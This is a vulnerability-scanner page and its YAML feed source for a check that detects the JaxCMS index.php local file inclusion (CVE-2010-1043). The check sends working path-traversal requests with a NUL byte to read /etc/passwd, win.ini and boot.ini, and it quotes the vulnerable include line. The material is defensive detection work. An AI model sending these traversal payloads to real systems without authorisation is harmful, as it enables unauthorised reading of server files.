JaxCMS — 1 vulnerability check

noctis ships 1 vulnerability check for JaxCMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

JaxCMS index.php Local File Inclusion

CVECVE-2010-1043
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/jaxcms/CVE-2010-1043.yaml

Tests JaxCMS (1.0 and earlier) for the unauthenticated local file inclusion in index.php, which includes the page named by the p parameter without checking it. In each JaxCMS folder (/JaxCMS, /jaxcms, the web root) whose index.php names JaxCMS, the feed requests index.php with p set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the .php suffix, then windows/win.ini and boot.ini; the content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. When no file comes back (PHP 5.3.4 and later no longer cut paths at a NUL byte), the feed sends p=../../ followed by a random name and reports the flaw when the PHP include warning in the reply quotes that name with the ../ sequence still in front of it, which shows the parameter reaches the include unfiltered (this needs PHP errors to be displayed). Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php
  2. Checks index_r.body for (?i)jaxcms
  3. HTTP(S) request GET {{dir}}/index.php?p=../../../../../../../../../../etc/passwd%00
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php?p=../../../../../../../../../../windows/win.ini%00
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. HTTP(S) request GET {{dir}}/index.php?p=../../../../../../../../../../boot.ini%00
  9. Checks bootini_r.body for (?i)\[boot loader\]
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{dir}}/index.php?p={{ctrl_path}}%00
  12. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  13. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: JaxCMS index.php Local File Inclusion (CVE-2010-1043)
  14. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: JaxCMS index.php Local File Inclusion (CVE-2010-1043)
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/jaxcms/CVE-2010-1043.yaml
# JaxCMS index.php "p" local file inclusion — CVE-2010-1043
#
# JaxCMS 1.0 and earlier (a small PHP CMS from pixiescripts.com, unmaintained;
# the source is no longer published) builds the page to show from the "p"
# parameter of index.php without any check (advisory: exploit-db 11359):
#     include('/pages/'.$_GET['p'].'.php');
# (the advisory quotes a leading slash; a relative 'pages/' behaves the same
# for the traversal). "../" sequences leave the pages folder and, on PHP <
# 5.3.4 with magic_quotes_gpc off, a NUL byte (%00) cuts off the ".php"
# suffix, so any file the web server user can read is included and printed.
#
# Detection (benign, read-only), per JaxCMS folder (/JaxCMS, /jaxcms, web
# root) whose index.php names JaxCMS:
#   1. GET index.php?p=<10x../>etc/passwd%00 and match the CONTENT of
#      /etc/passwd; then windows/win.ini, then boot.ini (QoD 75). Ten "../"
#      reach the root whatever folder sits before "p" (PHP collapses ".."
#      lexically).
#   2. When no file came back: GET index.php?p=../../noctis-<random> and
#      require a PHP include warning that quotes the path WITH our "../"
#      directly before the random name ("Failed opening '...../noctis-<random>
#      ....php' for inclusion", or the "failed to open stream" line) — the
#      parameter reaches include() with the traversal intact (QoD 75). Works on
#      any PHP version, needs display_errors on.
#
# Improvements over the source NASL:
#   - The NASL sends p=<random name>%00 (no "../") and only looks for "failed
#     to open stream" anywhere in the page: it never proves a traversal, any
#     JaxCMS page printing an unrelated include warning matches, and a fix that
#     strips "../" or a NUL byte still prints the same warning for an unknown
#     page. The feed reads a system file first, and its warning fallback
#     requires the include() path to quote our own random name preceded by the
#     "../" we sent.
#   - The NASL needs display_errors on; the file-read branch does not.
#   - File reads are followed by a control request (same parameter, a path in
#     an absent random directory that still ends with the file that hit) that
#     must come back WITHOUT any of these files and with the same HTTP status
#     (fail-closed), so blanket responders, honeypots and WAF blocks are not
#     reported. Account name (unless root), password field and gecos of the
#     uid-0 line are redacted before they reach the finding.
#   - Linux and Windows system files are tried without relying on OS detection.
#   - The product gate is case-insensitive ("jaxCMS" is the spelling NVD uses).
#
# CVSS: CVE-2010-1043 v2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P; NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_jaxcms_lfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900756, GPL-2.0-only).
uid: fb65d3b7-f8c1-44d2-8ef4-d9ba25645eef
name: "JaxCMS index.php Local File Inclusion (CVE-2010-1043)"
description: |
  Tests JaxCMS (1.0 and earlier) for the unauthenticated local file inclusion
  in index.php, which includes the page named by the p parameter without
  checking it. In each JaxCMS folder (/JaxCMS, /jaxcms, the web root) whose
  index.php names JaxCMS, the feed requests index.php with p set to a ../
  sequence ending in etc/passwd and a NUL byte (%00) that cuts off the .php
  suffix, then windows/win.ini and boot.ini; the content of the file in the
  reply confirms the inclusion. A control request for an absent random file
  through the same parameter must not return any of these files, so a server
  that serves the same content on every request is not reported. When no file
  comes back (PHP 5.3.4 and later no longer cut paths at a NUL byte), the feed
  sends p=../../ followed by a random name and reports the flaw when the PHP
  include warning in the reply quotes that name with the ../ sequence still in
  front of it, which shows the parameter reaches the include unfiltered (this
  needs PHP errors to be displayed). Only world-readable system files are read.
  The account name (unless root), password field and gecos of the uid-0 line
  are redacted from the evidence.
cves: [CVE-2010-1043]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [jaxcms, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1043"
  - "https://www.exploit-db.com/exploits/11359"
  # OpenVAS/Greenbone NASL 2010/gb_jaxcms_lfi_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per JaxCMS folder.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-jax
    action: set_var
    var_name: jax
    var_value: false
    loop:
      var: dir
      over: ["/JaxCMS", "/jaxcms", ""]

  - id: init-index-r
    action: set_var
    var_name: index_r
    var_value: {status: 0, body: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  # ── Product gate: the folder's index.php names JaxCMS ─────────────────────
  - id: index
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: index_r

  - id: index-marker
    action: match
    source: index_r.body
    pattern: "(?i)jaxcms"
    on_match:
      set_vars:
        jax: true

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "jax"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "jax"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    condition: "jax"
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # page answered and the Linux read gave nothing ──────────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'jax && lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'jax && lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p=../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'jax && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'jax && lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit and the NUL byte, so a honeypot that keys a fake file on
  # that name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── File-read findings (control answered and stayed clean) ───────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "JaxCMS index.php Local File Inclusion (CVE-2010-1043)"
        description: "An unauthenticated request to index.php with the p parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration, and runs any PHP code found in an included file."
        remediation: "Make index.php include only the names of the site's own pages in the p parameter (JaxCMS is unmaintained and has no fixed release, so remove it or patch the include line), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?p=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "JaxCMS index.php Local File Inclusion (CVE-2010-1043)"
        description: "An unauthenticated request to index.php with the p parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, such as the site configuration, and runs any PHP code found in an included file."
        remediation: "Make index.php include only the names of the site's own pages in the p parameter (JaxCMS is unmaintained and has no fixed release, so remove it or patch the include line), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?p=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

  # ── Fallback: include warning quoting our random name after the "../" ────
  # Only when no system file came back at all (PHP >= 5.3.4). A file that
  # came back but failed the control (blanket responder, honeypot) is not
  # retried here.
  - id: read-warning
    action: http_request
    method: GET
    path: "{{dir}}/index.php?p=../../noctis-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'jax && lin_proof == "" && win_file == ""'
    store_as: warn_r

  - id: warning-path
    action: script
    code: |
      // PHP 4.3-8 print "Failed opening '<path>' for inclusion" for every
      // failed include (doc links, open_basedir and "(x86)" install paths
      // don't change it); the "failed to open stream" line (include( / main(
      // in PHP 4.3) is the second chance.
      let re1 = "(?i)Failed opening '([^'\\r\\n]*\\.\\./noctis-" + oob_token + "[^'\\r\\n]*)' for inclusion";
      let re2 = "(?i)\\b(?:include|require|main)(?:_once)?\\((.*?\\.\\./noctis-" + oob_token + "[^\\r\\n]*?)\\)(?:\\s*\\[<a\\b[^\\]\\r\\n]*\\])?\\s*:\\s*failed to open stream:\\s*No such file or directory";
      let m = eregmatch(re1, warn_r.body);
      if m.len() < 2 { m = eregmatch(re2, warn_r.body); }
      if m.len() > 1 { m[1] } else { "" }
    condition: 'jax && lin_proof == "" && win_file == ""'
    store_as: warn_proof

  - id: report-warning
    action: match
    source: warn_proof
    pattern: "\\.\\./noctis-"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "JaxCMS index.php Local File Inclusion (CVE-2010-1043)"
        description: "An unauthenticated request to index.php with the p parameter set to ../../ followed by a random name made PHP print an include warning for a path that holds that name with the ../ sequence still in front of it: the parameter reaches the include unfiltered, so ../ sequences select any file to include. No system file could be read back (the NUL byte that cuts off the .php suffix is ignored by PHP 5.3.4 and later), but any .php file on the server, such as an uploaded one, can still be included and run."
        remediation: "Make index.php include only the names of the site's own pages in the p parameter (JaxCMS is unmaintained and has no fixed release, so remove it or patch the include line), and turn display_errors off in production."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/index.php?p=../../noctis-{{oob_token}} made PHP warn that it failed to include {{warn_proof}}"
      stop: true

View these feeds on GitHub